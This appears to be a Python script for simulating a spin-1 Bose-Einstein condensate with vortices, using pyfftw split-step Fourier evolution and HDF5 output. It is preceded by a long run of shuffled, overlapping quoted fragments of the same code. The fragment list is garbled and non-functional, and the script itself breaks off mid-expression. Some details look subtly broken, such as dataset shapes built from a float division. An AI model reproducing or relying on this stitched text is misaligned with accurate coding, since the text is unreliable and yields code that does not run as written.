"meshgrid data = h5py.File('../data/splitting_dipole_data.hdf5', 'a') data.create_dataset('grid/x', x.shape, data=x) data.create_dataset('grid/y', y.shape,", "Initialising FFTs cpu_count = mp.cpu_count() wfn_data = pyfftw.empty_aligned((Nx, Ny), dtype='complex128')", "+ 2 * q)) / (Nx * Ny) # Inverse", "* n)) # Forward FFTs fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0, psi_0_k) fft_forward(psi_minus,", "direction='FFTW_BACKWARD', axes=(0, 1), threads=cpu_count) # Framework for wavefunction data psi_plus_k", "psi_plus_k) fft_forward(psi_0, psi_0_k) fft_forward(psi_minus, psi_minus_k) # Computing kinetic energy +", "0j Psi[1, :, :] = np.ones((Nx, Ny), dtype='complex128') * exp(1j", "* Ny) psi_minus_k *= exp(-0.25 * dt * (Kx **", "= sqrt(abs(Fz) ** 2 + abs(F_perp) ** 2) # Magnitude", "pi) / 2)) \\ + pi * (heav(X_plus, 1.) -", "np.linalg.norm(psi_plus) ** 2 N_0 = dx * dy * np.linalg.norm(psi_0)", "+ Ky ** 2 + 2 * q)) / (Nx", "pi * pos[3 * N_vort // 2 + k] /", "2 # Grid spacing dkx = pi / (Mx *", "= np.empty((3, Nx, Ny), dtype='complex128') Psi[0, :, :] = np.zeros((Nx,", "i in range(Nt): # Spin vector terms: F_perp = sqrt(2.)", "2 * pi * pos[3 * N_vort // 2 +", "* dky) Kx, Ky = np.meshgrid(kx, ky) # K-space meshgrid", "** 2 - abs(psi_minus) ** 2 F = sqrt(abs(Fz) **", "interaction flow psi_plus = ((C - S * Fz) *", "conj(F_perp) * psi_0) * exp(-dt * (V - p +", "saves data to an array if np.mod(i, Nframe) == 0:", "* Ny) # Inverse FFTs fft_backward(psi_plus_k, psi_plus) fft_backward(psi_0_k, psi_0) fft_backward(psi_minus_k,", "* nn) / 2) * tan((X_minus - pi) / 2))", "2 c1 = 0.5 # Effective 3-component BEC k =", "Saving time variables: data.create_dataset('time/Nt', data=Nt) data.create_dataset('time/dt', data=dt) data.create_dataset('time/Nframe', data=Nframe) #", "pi * (X - pos[3 * N_vort // 2 +", "cosine terms for solution C = cos(c1 * F *", "SQV's ------------------------- # Euler angles alpha = 0. beta =", "0. N_vort = 2 # Number of vortices pos =", "- arctan(tanh((Y_plus + 2 * pi * nn) / 2)", "pi * nn) / 2) * tan((X_minus - pi) /", "* pi * Y / len_y) * (x_plus - x_minus)", "= q = 0. c0 = 2 c1 = 0.5", "# ------------------------------------------------------------------------ # Normalisation constants N_plus = dx * dy", "* np.linalg.norm(psi_0) ** 2 N_minus = dx * dy *", "abs(psi_minus) ** 2 F = sqrt(abs(Fz) ** 2 + abs(F_perp)", "Ny = 128 # Number of grid pts dx =", "0, 10, 0] theta_k = np.empty((N_vort, Nx, Ny)) theta_tot =", "length len_y = Ny * dy x = np.arange(-Mx, Mx)", ":] = np.zeros((Nx, Ny)) + 0j Psi[1, :, :] =", "Nx, Ny)) theta_tot = np.empty((Nx, Ny)) for k in range(N_vort", "* nn) / 2) * tan((X_plus - pi) / 2))", "5e-3 t = 0. # Saving time variables: data.create_dataset('time/Nt', data=Nt)", "* tan((X_minus - pi) / 2)) \\ - arctan(tanh((Y_plus +", "1.)) theta_k[k, :, :] -= (2 * pi * Y", "* dy * np.linalg.norm(psi_minus) ** 2) # Prints current time", "- pos[N_vort // 2 + k]) / len_x Y_plus =", "pi) / 2)) \\ - arctan(tanh((Y_plus + 2 * pi", "psi_0, psi_minus = helper.rotation(Psi, Nx, Ny, alpha, beta, gamma) #", "np.arange(-My, My) * dy X, Y = np.meshgrid(x, y) #", "0.5 # Effective 3-component BEC k = 0 # Array", "import pi, exp, sqrt, sin, cos, conj, arctan, tanh, tan", "np.linalg.norm(psi_minus) ** 2) # Prints current time and saves data", "* dy * np.linalg.norm(psi_plus) ** 2) psi_0 *= sqrt(N_0) /", "= np.arange(-My, My) * dy X, Y = np.meshgrid(x, y)", "* (Kx ** 2 + Ky ** 2 + 2", "2 + k]) / len_x Y_plus = 2 * pi", "Aligning wavefunction to potentially speed up FFTs pyfftw.byte_align(psi_plus) pyfftw.byte_align(psi_0) pyfftw.byte_align(psi_minus)", "2 # Number of vortices pos = [-10, 0, 10,", "- pos[3 * N_vort // 2 + k]) / len_x", ":] = np.zeros((Nx, Ny)) + 0j psi_plus, psi_0, psi_minus =", "* F_perp * psi_plus + C * psi_0 - 1.", "X, Y = np.meshgrid(x, y) # Spatial meshgrid data =", "tanh((Y_minus + 2 * pi * nn) / 2) *", "sqrt(dx * dy * np.linalg.norm(psi_minus) ** 2) # Prints current", "- S * Fz) * psi_plus - 1. / sqrt(2.)", "dkx = pi / (Mx * dx) dky = pi", "mp.cpu_count() wfn_data = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') fft_forward = pyfftw.FFTW(wfn_data, wfn_data,", "pos[k]) / len_y X_minus = 2 * pi * (X", "psi_plus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_0_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128')", "/ len_x x_minus = 2 * pi * pos[N_vort //", "as mp import pyfftw from numpy import pi, exp, sqrt,", "= dy = 1 / 2 # Grid spacing dkx", "0. beta = pi / 4 gamma = 0. N_vort", "np.empty((N_vort, Nx, Ny)) theta_tot = np.empty((Nx, Ny)) for k in", "/ 2) * tan((X_minus - pi) / 2)) \\ -", ":, :] = np.zeros((Nx, Ny)) + 0j Psi[1, :, :]", "2 + 2 * q)) / (Nx * Ny) psi_0_k", "X_plus = 2 * pi * (X - pos[3 *", ":] # Initial wavefunction Psi = np.empty((3, Nx, Ny), dtype='complex128')", "== 0: print('it = %1.4f' % t) psi_plus_save[:, :, k]", "k] = psi_0[:, :] psi_minus_save[:, :, k] = psi_minus[:, :]", "2) * tan((X_minus - pi) / 2)) \\ - arctan(tanh((Y_plus", "pi, exp, sqrt, sin, cos, conj, arctan, tanh, tan from", "+ 0j psi_plus, psi_0, psi_minus = helper.rotation(Psi, Nx, Ny, alpha,", "+ c0 * n)) psi_0 = (-1. / sqrt(2.) *", "fft_forward(psi_minus, psi_minus_k) # Computing kinetic energy + quadratic Zeeman psi_plus_k", "data to an array if np.mod(i, Nframe) == 0: print('it", "spin vector # Total density n = abs(psi_minus) ** 2", "variables to be sequentially saved: psi_plus_save = data.create_dataset('wavefunction/psi_plus', (Nx, Ny,", "as np import multiprocessing as mp import pyfftw from numpy", "tan from numpy import heaviside as heav from include import", "Ny), dtype='complex128') # Controlled variables V = 0. # Doubly", "dtype='complex128') psi_0_save = data.create_dataset('wavefunction/psi_0', (Nx, Ny, Nt/Nframe), dtype='complex128') psi_minus_save =", "Magnitude of spin vector # Total density n = abs(psi_minus)", "*= exp(-0.25 * dt * (Kx ** 2 + Ky", "(Nx * Ny) # Trap, linear Zeeman & interaction flow", "dt)) / F # Forward FFTs fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0, psi_0_k)", "as heav from include import helper import h5py # ---------Spatial", "# Effective 3-component BEC k = 0 # Array index", "= Ny = 128 # Number of grid pts dx", "data = h5py.File('../data/splitting_dipole_data.hdf5', 'a') data.create_dataset('grid/x', x.shape, data=x) data.create_dataset('grid/y', y.shape, data=y)", "dt)) if F.min() == 0: S = np.zeros((Nx, Ny), dtype='complex128')", "* q)) / (Nx * Ny) # Inverse FFTs fft_backward(psi_plus_k,", "= [-10, 0, 10, 0] theta_k = np.empty((N_vort, Nx, Ny))", "- 1. / sqrt(2.) * S * conj(F_perp) * psi_minus)", "be sequentially saved: psi_plus_save = data.create_dataset('wavefunction/psi_plus', (Nx, Ny, Nt/Nframe), dtype='complex128')", "dy = 1 / 2 # Grid spacing dkx =", "psi_0[:, :] psi_minus_save[:, :, k] = psi_minus[:, :] k +=", "pi * nn) / 2) * tan((X_plus - pi) /", "2 + 2 * q)) / (Nx * Ny) #", "Controlled variables V = 0. # Doubly periodic box p", "c0 * n)) psi_0 = (-1. / sqrt(2.) * S", "Nx * dx # Box length len_y = Ny *", "* pi * (X - pos[N_vort // 2 + k])", "** 2 N_0 = dx * dy * np.linalg.norm(psi_0) **", "import heaviside as heav from include import helper import h5py", "np import multiprocessing as mp import pyfftw from numpy import", "sqrt(2.) * S * conj(F_perp) * psi_0) * exp(-dt *", "dy * np.linalg.norm(psi_0) ** 2 N_minus = dx * dy", "dy * np.linalg.norm(psi_0) ** 2) psi_minus *= sqrt(N_minus) / sqrt(dx", "/ sqrt(dx * dy * np.linalg.norm(psi_0) ** 2) psi_minus *=", "Initial wavefunction Psi = np.empty((3, Nx, Ny), dtype='complex128') Psi[0, :,", "dky = pi / (My * dy) # K-space spacing", "pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_minus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') # Controlled", "= 200 dt = 5e-3 t = 0. # Saving", "psi_minus) * exp(-dt * (V + p + c0 *", "* pi * pos[N_vort // 2 + k] / len_x", "= np.empty((Nx, Ny)) for k in range(N_vort // 2): #", "p = q = 0. c0 = 2 c1 =", "------------------------------------------------------------------------ # Normalisation constants N_plus = dx * dy *", "Mx = My = 64 Nx = Ny = 128", "* (V + c0 * n)) psi_minus = (-1. /", "* Ny) psi_0 *= (Nx * Ny) psi_minus *= (Nx", "Performs rotation to wavefunction # Aligning wavefunction to potentially speed", "Normalisation constants N_plus = dx * dy * np.linalg.norm(psi_plus) **", "* psi_0 + (C + S * Fz) * psi_minus)", "vector terms: F_perp = sqrt(2.) * (conj(psi_plus) * psi_0 +", "np.arange(-5, 5): theta_k[k, :, :] += arctan( tanh((Y_minus + 2", "128 # Number of grid pts dx = dy =", "1j * sin(c1 * F * (-1j * dt)) /", "N_vort // 2 + k] / len_x x_minus = 2", "N_minus = dx * dy * np.linalg.norm(psi_minus) ** 2 #", "- pi) / 2)) \\ + pi * (heav(X_plus, 1.)", "pos[N_vort // 2 + k] / len_x for nn in", "* Ny) # Trap, linear Zeeman & interaction flow psi_plus", ":] psi_0_save[:, :, k] = psi_0[:, :] psi_minus_save[:, :, k]", "theta_tot = np.empty((Nx, Ny)) for k in range(N_vort // 2):", "2) # Prints current time and saves data to an", "+ k]) / len_x x_plus = 2 * pi *", "= 128 # Number of grid pts dx = dy", "(Kx ** 2 + Ky ** 2)) / (Nx *", "(C + S * Fz) * psi_minus) * exp(-dt *", "k = 0 # Array index # ------------------------------ Generating SQV's", "# Normalisation constants N_plus = dx * dy * np.linalg.norm(psi_plus)", "threads=cpu_count) fft_backward = pyfftw.FFTW(wfn_data, wfn_data, direction='FFTW_BACKWARD', axes=(0, 1), threads=cpu_count) #", "# Total density n = abs(psi_minus) ** 2 + abs(psi_0)", "dx y = np.arange(-My, My) * dy X, Y =", "/ 4 gamma = 0. N_vort = 2 # Number", "gamma = 0. N_vort = 2 # Number of vortices", "zero else: S = 1j * sin(c1 * F *", "pyfftw.byte_align(psi_plus) pyfftw.byte_align(psi_0) pyfftw.byte_align(psi_minus) # ------------------------------------------------------------------------ # Normalisation constants N_plus =", "wavefunction save variables Nt = 80000 Nframe = 200 dt", "+ Ky ** 2)) / (Nx * Ny) psi_minus_k *=", "threads=cpu_count) # Framework for wavefunction data psi_plus_k = pyfftw.empty_aligned((Nx, Ny),", "ky = np.fft.fftshift(np.arange(-My, My) * dky) Kx, Ky = np.meshgrid(kx,", "Psi[2, :, :] = np.zeros((Nx, Ny)) + 0j psi_plus, psi_0,", "Psi = np.empty((3, Nx, Ny), dtype='complex128') Psi[0, :, :] =", "Prints current time and saves data to an array if", "* psi_plus - 1. / sqrt(2.) * S * conj(F_perp)", "axes=(0, 1), threads=cpu_count) fft_backward = pyfftw.FFTW(wfn_data, wfn_data, direction='FFTW_BACKWARD', axes=(0, 1),", "Box length len_y = Ny * dy x = np.arange(-Mx,", "dy X, Y = np.meshgrid(x, y) # Spatial meshgrid data", "0j psi_plus, psi_0, psi_minus = helper.rotation(Psi, Nx, Ny, alpha, beta,", "FFTs fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0, psi_0_k) fft_forward(psi_minus, psi_minus_k) # Computing kinetic", "+ p + c0 * n)) # Forward FFTs fft_forward(psi_plus,", "# K-space spacing len_x = Nx * dx # Box", "solution C = cos(c1 * F * (-1j * dt))", "axes=(0, 1), threads=cpu_count) # Framework for wavefunction data psi_plus_k =", "2 * pi * (Y - pos[N_vort + k]) /", "psi_0_k *= exp(-0.25 * dt * (Kx ** 2 +", "of vortices pos = [-10, 0, 10, 0] theta_k =", "(Y - pos[N_vort + k]) / len_y X_plus = 2", "Array index # ------------------------------ Generating SQV's ------------------------- # Euler angles", "* (conj(psi_plus) * psi_0 + conj(psi_0) * psi_minus) Fz =", "mp import pyfftw from numpy import pi, exp, sqrt, sin,", "data.create_dataset('wavefunction/psi_plus', (Nx, Ny, Nt/Nframe), dtype='complex128') psi_0_save = data.create_dataset('wavefunction/psi_0', (Nx, Ny,", "Ky ** 2)) / (Nx * Ny) psi_minus_k *= exp(-0.25", "exp(-dt * (V + p + c0 * n)) #", "c0 * n)) psi_minus = (-1. / sqrt(2.) * S", "*= sqrt(N_minus) / sqrt(dx * dy * np.linalg.norm(psi_minus) ** 2)", "Ny, Nt/Nframe), dtype='complex128') for i in range(Nt): # Spin vector", "psi_0 = (-1. / sqrt(2.) * S * F_perp *", "S = 1j * sin(c1 * F * (-1j *", "fft_forward = pyfftw.FFTW(wfn_data, wfn_data, axes=(0, 1), threads=cpu_count) fft_backward = pyfftw.FFTW(wfn_data,", "wavefunction # Aligning wavefunction to potentially speed up FFTs pyfftw.byte_align(psi_plus)", "/ (Nx * Ny) # Inverse FFTs fft_backward(psi_plus_k, psi_plus) fft_backward(psi_0_k,", "** 2) psi_minus *= sqrt(N_minus) / sqrt(dx * dy *", "/ sqrt(2.) * S * conj(F_perp) * psi_minus) \\ *", "** 2 N_minus = dx * dy * np.linalg.norm(psi_minus) **", "to potentially speed up FFTs pyfftw.byte_align(psi_plus) pyfftw.byte_align(psi_0) pyfftw.byte_align(psi_minus) # ------------------------------------------------------------------------", "include import helper import h5py # ---------Spatial and potential parameters--------------", "data=x) data.create_dataset('grid/y', y.shape, data=y) kx = np.fft.fftshift(np.arange(-Mx, Mx) * dkx)", "* np.linalg.norm(psi_0) ** 2) psi_minus *= sqrt(N_minus) / sqrt(dx *", "sqrt(N_plus) / sqrt(dx * dy * np.linalg.norm(psi_plus) ** 2) psi_0", "* pos[3 * N_vort // 2 + k] / len_x", "pi * pos[N_vort // 2 + k] / len_x for", "pos = [-10, 0, 10, 0] theta_k = np.empty((N_vort, Nx,", "= psi_plus[:, :] psi_0_save[:, :, k] = psi_0[:, :] psi_minus_save[:,", "(-1j * dt)) / F # Forward FFTs fft_forward(psi_plus, psi_plus_k)", "pi * (Y - pos[k]) / len_y X_minus = 2", "= np.meshgrid(x, y) # Spatial meshgrid data = h5py.File('../data/splitting_dipole_data.hdf5', 'a')", "My = 64 Nx = Ny = 128 # Number", "alpha = 0. beta = pi / 4 gamma =", "to wavefunction # Aligning wavefunction to potentially speed up FFTs", "pi / (My * dy) # K-space spacing len_x =", "k] / len_x x_minus = 2 * pi * pos[N_vort", "* n)) psi_minus = (-1. / sqrt(2.) * S *", "(Nx * Ny) # Inverse FFTs fft_backward(psi_plus_k, psi_plus) fft_backward(psi_0_k, psi_0)", "* q)) / (Nx * Ny) psi_0_k *= exp(-0.25 *", ":, k] = psi_plus[:, :] psi_0_save[:, :, k] = psi_0[:,", "= pyfftw.empty_aligned((Nx, Ny), dtype='complex128') # Controlled variables V = 0.", "* Ny) psi_0_k *= exp(-0.25 * dt * (Kx **", "0. # Saving time variables: data.create_dataset('time/Nt', data=Nt) data.create_dataset('time/dt', data=dt) data.create_dataset('time/Nframe',", "My) * dky) Kx, Ky = np.meshgrid(kx, ky) # K-space", "(-1. / sqrt(2.) * S * F_perp * psi_plus +", "* Ny) # Renormalizing wavefunction psi_plus *= sqrt(N_plus) / sqrt(dx", "pos[3 * N_vort // 2 + k] / len_x x_minus", "= np.meshgrid(kx, ky) # K-space meshgrid # Initialising FFTs cpu_count", "len_x Y_plus = 2 * pi * (Y - pos[N_vort", "* pi * (Y - pos[N_vort + k]) / len_y", "<gh_stars>0 import numpy as np import multiprocessing as mp import", "nn) / 2) * tan((X_plus - pi) / 2)) \\", "sin(c1 * F * (-1j * dt)) / F #", "= ((C - S * Fz) * psi_plus - 1.", "= psi_minus[:, :] k += 1 t += dt data.close()", "* dx y = np.arange(-My, My) * dy X, Y", "* dy) # K-space spacing len_x = Nx * dx", "meshgrid # Initialising FFTs cpu_count = mp.cpu_count() wfn_data = pyfftw.empty_aligned((Nx,", "psi_0_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_minus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128')", "(Y - pos[k]) / len_y X_minus = 2 * pi", "up FFTs pyfftw.byte_align(psi_plus) pyfftw.byte_align(psi_0) pyfftw.byte_align(psi_minus) # ------------------------------------------------------------------------ # Normalisation constants", "pyfftw.byte_align(psi_0) pyfftw.byte_align(psi_minus) # ------------------------------------------------------------------------ # Normalisation constants N_plus = dx", ":, :] = np.zeros((Nx, Ny)) + 0j psi_plus, psi_0, psi_minus", "c0 * n)) # Forward FFTs fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0, psi_0_k)", "+ 2 * pi * nn) / 2) * tan((X_minus", "Ny) # Trap, linear Zeeman & interaction flow psi_plus =", "* np.linalg.norm(psi_plus) ** 2 N_0 = dx * dy *", "Number of vortices pos = [-10, 0, 10, 0] theta_k", "1. / sqrt(2.) * S * conj(F_perp) * psi_minus) \\", "* F * (-1j * dt)) / F # Forward", "Zeeman & interaction flow psi_plus = ((C - S *", "= mp.cpu_count() wfn_data = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') fft_forward = pyfftw.FFTW(wfn_data,", "theta_k[k, :, :] -= (2 * pi * Y /", "2)) / (Nx * Ny) psi_minus_k *= exp(-0.25 * dt", "Y_minus = 2 * pi * (Y - pos[k]) /", "= cos(c1 * F * (-1j * dt)) if F.min()", "conj(F_perp) * psi_minus) \\ * exp(-dt * (V + c0", "# Magnitude of spin vector # Total density n =", "Ny)) + 0j psi_plus, psi_0, psi_minus = helper.rotation(Psi, Nx, Ny,", "Ny) psi_minus_k *= exp(-0.25 * dt * (Kx ** 2", "psi_minus = (-1. / sqrt(2.) * S * F_perp *", "** 2) psi_0 *= sqrt(N_0) / sqrt(dx * dy *", ":] psi_minus_save[:, :, k] = psi_minus[:, :] k += 1", "dx * dy * np.linalg.norm(psi_plus) ** 2 N_0 = dx", "Nt/Nframe), dtype='complex128') psi_minus_save = data.create_dataset('wavefunction/psi_minus', (Nx, Ny, Nt/Nframe), dtype='complex128') for", "data.create_dataset('grid/x', x.shape, data=x) data.create_dataset('grid/y', y.shape, data=y) kx = np.fft.fftshift(np.arange(-Mx, Mx)", "* (x_plus - x_minus) / (2 * pi) theta_tot +=", "* dt)) if F.min() == 0: S = np.zeros((Nx, Ny),", "* psi_minus) \\ * exp(-dt * (V + c0 *", "# ---------Spatial and potential parameters-------------- Mx = My = 64", "C = cos(c1 * F * (-1j * dt)) if", "data.create_dataset('wavefunction/psi_0', (Nx, Ny, Nt/Nframe), dtype='complex128') psi_minus_save = data.create_dataset('wavefunction/psi_minus', (Nx, Ny,", "1), threads=cpu_count) fft_backward = pyfftw.FFTW(wfn_data, wfn_data, direction='FFTW_BACKWARD', axes=(0, 1), threads=cpu_count)", "2 * pi * nn) / 2) * tan((X_minus -", "np.meshgrid(x, y) # Spatial meshgrid data = h5py.File('../data/splitting_dipole_data.hdf5', 'a') data.create_dataset('grid/x',", "variables V = 0. # Doubly periodic box p =", "2 + abs(psi_plus) ** 2 # Sin and cosine terms", "% t) psi_plus_save[:, :, k] = psi_plus[:, :] psi_0_save[:, :,", "+ (C + S * Fz) * psi_minus) * exp(-dt", "F = sqrt(abs(Fz) ** 2 + abs(F_perp) ** 2) #", "for k in range(N_vort // 2): # Scaling positional arguments", "* S * conj(F_perp) * psi_0) * exp(-dt * (V", "theta_k[k, :, :] += arctan( tanh((Y_minus + 2 * pi", "+ conj(psi_0) * psi_minus) Fz = abs(psi_plus) ** 2 -", "np.fft.fftshift(np.arange(-My, My) * dky) Kx, Ky = np.meshgrid(kx, ky) #", "* dt)) / F # Forward FFTs fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0,", "pyfftw.FFTW(wfn_data, wfn_data, axes=(0, 1), threads=cpu_count) fft_backward = pyfftw.FFTW(wfn_data, wfn_data, direction='FFTW_BACKWARD',", "psi_minus) \\ * exp(-dt * (V + c0 * n))", "wfn_data, direction='FFTW_BACKWARD', axes=(0, 1), threads=cpu_count) # Framework for wavefunction data", "n)) # Forward FFTs fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0, psi_0_k) fft_forward(psi_minus, psi_minus_k)", "p + c0 * n)) # Forward FFTs fft_forward(psi_plus, psi_plus_k)", "cos(c1 * F * (-1j * dt)) if F.min() ==", "psi_plus[:, :] psi_0_save[:, :, k] = psi_0[:, :] psi_minus_save[:, :,", "X_minus = 2 * pi * (X - pos[N_vort //", "fft_backward(psi_0_k, psi_0) fft_backward(psi_minus_k, psi_minus) # Rescaling psi_plus *= (Nx *", "psi_0 + conj(psi_0) * psi_minus) Fz = abs(psi_plus) ** 2", "psi_plus + C * psi_0 - 1. / sqrt(2.) *", "/ sqrt(2.) * S * conj(F_perp) * psi_0) * exp(-dt", "- 1. / sqrt(2.) * S * conj(F_perp) * psi_0)", "np.empty((Nx, Ny)) for k in range(N_vort // 2): # Scaling", "fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0, psi_0_k) fft_forward(psi_minus, psi_minus_k) # Computing kinetic energy", "time variables: data.create_dataset('time/Nt', data=Nt) data.create_dataset('time/dt', data=dt) data.create_dataset('time/Nframe', data=Nframe) # Setting", "+ k] / len_x x_minus = 2 * pi *", "- pi) / 2)) \\ - arctan(tanh((Y_plus + 2 *", "psi_minus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') # Controlled variables V =", "heaviside as heav from include import helper import h5py #", "FFTs cpu_count = mp.cpu_count() wfn_data = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') fft_forward", "+ pi * (heav(X_plus, 1.) - heav(X_minus, 1.)) theta_k[k, :,", "= pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_0_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_minus_k", "psi_0 *= sqrt(N_0) / sqrt(dx * dy * np.linalg.norm(psi_0) **", "* Y / len_y) * (x_plus - x_minus) / (2", "steps, number and wavefunction save variables Nt = 80000 Nframe", "= 80000 Nframe = 200 dt = 5e-3 t =", "angles alpha = 0. beta = pi / 4 gamma", "* (-1j * dt)) / F # Forward FFTs fft_forward(psi_plus,", "x_minus = 2 * pi * pos[N_vort // 2 +", "200 dt = 5e-3 t = 0. # Saving time", "wavefunction psi_plus *= sqrt(N_plus) / sqrt(dx * dy * np.linalg.norm(psi_plus)", "psi_minus *= (Nx * Ny) # Renormalizing wavefunction psi_plus *=", "/ sqrt(dx * dy * np.linalg.norm(psi_minus) ** 2) # Prints", "= 0 # Array index # ------------------------------ Generating SQV's -------------------------", "dtype='complex128') psi_minus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') # Controlled variables V", "save variables Nt = 80000 Nframe = 200 dt =", "sqrt(2.) * (conj(psi_plus) * psi_0 + conj(psi_0) * psi_minus) Fz", ":, :] += arctan( tanh((Y_minus + 2 * pi *", "*= (Nx * Ny) # Trap, linear Zeeman & interaction", "theta_k = np.empty((N_vort, Nx, Ny)) theta_tot = np.empty((Nx, Ny)) for", "* exp(-dt * (V + p + c0 * n))", "* (Y - pos[N_vort + k]) / len_y X_plus =", "# Computing kinetic energy + quadratic Zeeman psi_plus_k *= exp(-0.25", "np.linalg.norm(psi_plus) ** 2) psi_0 *= sqrt(N_0) / sqrt(dx * dy", "Nframe = 200 dt = 5e-3 t = 0. #", "3-component BEC k = 0 # Array index # ------------------------------", "= 0. c0 = 2 c1 = 0.5 # Effective", "= dx * dy * np.linalg.norm(psi_plus) ** 2 N_0 =", "# Controlled variables V = 0. # Doubly periodic box", "// 2 + k] / len_x for nn in np.arange(-5,", "[-10, 0, 10, 0] theta_k = np.empty((N_vort, Nx, Ny)) theta_tot", "pyfftw.byte_align(psi_minus) # ------------------------------------------------------------------------ # Normalisation constants N_plus = dx *", "\\ * exp(-dt * (V + c0 * n)) psi_minus", "/ len_y X_plus = 2 * pi * (X -", "dy * np.linalg.norm(psi_plus) ** 2 N_0 = dx * dy", "# Spin vector terms: F_perp = sqrt(2.) * (conj(psi_plus) *", "+ S * Fz) * psi_minus) * exp(-dt * (V", "flow psi_plus = ((C - S * Fz) * psi_plus", "data=Nt) data.create_dataset('time/dt', data=dt) data.create_dataset('time/Nframe', data=Nframe) # Setting up variables to", "dtype='complex128') # Controlled variables V = 0. # Doubly periodic", "= data.create_dataset('wavefunction/psi_minus', (Nx, Ny, Nt/Nframe), dtype='complex128') for i in range(Nt):", "import helper import h5py # ---------Spatial and potential parameters-------------- Mx", "2 * pi * (X - pos[3 * N_vort //", "multiprocessing as mp import pyfftw from numpy import pi, exp,", "of spin vector # Total density n = abs(psi_minus) **", "Ny) psi_minus *= (Nx * Ny) # Trap, linear Zeeman", "cos, conj, arctan, tanh, tan from numpy import heaviside as", "x.shape, data=x) data.create_dataset('grid/y', y.shape, data=y) kx = np.fft.fftshift(np.arange(-Mx, Mx) *", "Ny * dy x = np.arange(-Mx, Mx) * dx y", "// 2 + k] / len_x x_minus = 2 *", "Ky ** 2 + 2 * q)) / (Nx *", "* np.linalg.norm(psi_minus) ** 2) # Prints current time and saves", "psi_minus_k) # Computing kinetic energy + quadratic Zeeman psi_plus_k *=", "Ny), dtype='complex128') fft_forward = pyfftw.FFTW(wfn_data, wfn_data, axes=(0, 1), threads=cpu_count) fft_backward", "* exp(-dt * (V + c0 * n)) psi_minus =", "dtype='complex128') for i in range(Nt): # Spin vector terms: F_perp", "print('it = %1.4f' % t) psi_plus_save[:, :, k] = psi_plus[:,", "(X - pos[3 * N_vort // 2 + k]) /", "psi_0_k) fft_forward(psi_minus, psi_minus_k) # Computing kinetic energy + quadratic Zeeman", "# Renormalizing wavefunction psi_plus *= sqrt(N_plus) / sqrt(dx * dy", "no division by zero else: S = 1j * sin(c1", "psi_plus) fft_backward(psi_0_k, psi_0) fft_backward(psi_minus_k, psi_minus) # Rescaling psi_plus *= (Nx", "fft_backward = pyfftw.FFTW(wfn_data, wfn_data, direction='FFTW_BACKWARD', axes=(0, 1), threads=cpu_count) # Framework", "theta_k[k, :, :] # Initial wavefunction Psi = np.empty((3, Nx,", "* dy X, Y = np.meshgrid(x, y) # Spatial meshgrid", "0 # Array index # ------------------------------ Generating SQV's ------------------------- #", "* conj(F_perp) * psi_0) * exp(-dt * (V - p", "2 - abs(psi_minus) ** 2 F = sqrt(abs(Fz) ** 2", "dtype='complex128') fft_forward = pyfftw.FFTW(wfn_data, wfn_data, axes=(0, 1), threads=cpu_count) fft_backward =", "Inverse FFTs fft_backward(psi_plus_k, psi_plus) fft_backward(psi_0_k, psi_0) fft_backward(psi_minus_k, psi_minus) # Rescaling", "np.meshgrid(kx, ky) # K-space meshgrid # Initialising FFTs cpu_count =", "* pi * (Y - pos[k]) / len_y X_minus =", "Zeeman psi_plus_k *= exp(-0.25 * dt * (Kx ** 2", "* dx # Box length len_y = Ny * dy", "fft_forward(psi_0, psi_0_k) fft_forward(psi_minus, psi_minus_k) # Computing kinetic energy + quadratic", "sqrt(dx * dy * np.linalg.norm(psi_0) ** 2) psi_minus *= sqrt(N_minus)", "x = np.arange(-Mx, Mx) * dx y = np.arange(-My, My)", "beta, gamma) # Performs rotation to wavefunction # Aligning wavefunction", "psi_minus *= (Nx * Ny) # Trap, linear Zeeman &", "# Aligning wavefunction to potentially speed up FFTs pyfftw.byte_align(psi_plus) pyfftw.byte_align(psi_0)", "Ny), dtype='complex128') psi_minus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') # Controlled variables", "2) psi_minus *= sqrt(N_minus) / sqrt(dx * dy * np.linalg.norm(psi_minus)", "to be sequentially saved: psi_plus_save = data.create_dataset('wavefunction/psi_plus', (Nx, Ny, Nt/Nframe),", "dy x = np.arange(-Mx, Mx) * dx y = np.arange(-My,", "------------------------------ Generating SQV's ------------------------- # Euler angles alpha = 0.", "Ky = np.meshgrid(kx, ky) # K-space meshgrid # Initialising FFTs", "1.) - heav(X_minus, 1.)) theta_k[k, :, :] -= (2 *", "for solution C = cos(c1 * F * (-1j *", "data.create_dataset('time/Nframe', data=Nframe) # Setting up variables to be sequentially saved:", "= 2 * pi * (X - pos[3 * N_vort", "'a') data.create_dataset('grid/x', x.shape, data=x) data.create_dataset('grid/y', y.shape, data=y) kx = np.fft.fftshift(np.arange(-Mx,", "from numpy import heaviside as heav from include import helper", "data=y) kx = np.fft.fftshift(np.arange(-Mx, Mx) * dkx) ky = np.fft.fftshift(np.arange(-My,", "wfn_data = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') fft_forward = pyfftw.FFTW(wfn_data, wfn_data, axes=(0,", "2 + abs(F_perp) ** 2) # Magnitude of spin vector", "* psi_0 - 1. / sqrt(2.) * S * conj(F_perp)", "if F.min() == 0: S = np.zeros((Nx, Ny), dtype='complex128') #", "psi_0 + (C + S * Fz) * psi_minus) *", "linear Zeeman & interaction flow psi_plus = ((C - S", "* pos[N_vort // 2 + k] / len_x for nn", "pos[N_vort + k]) / len_y X_plus = 2 * pi", "to an array if np.mod(i, Nframe) == 0: print('it =", "2 * pi * (X - pos[N_vort // 2 +", "+ 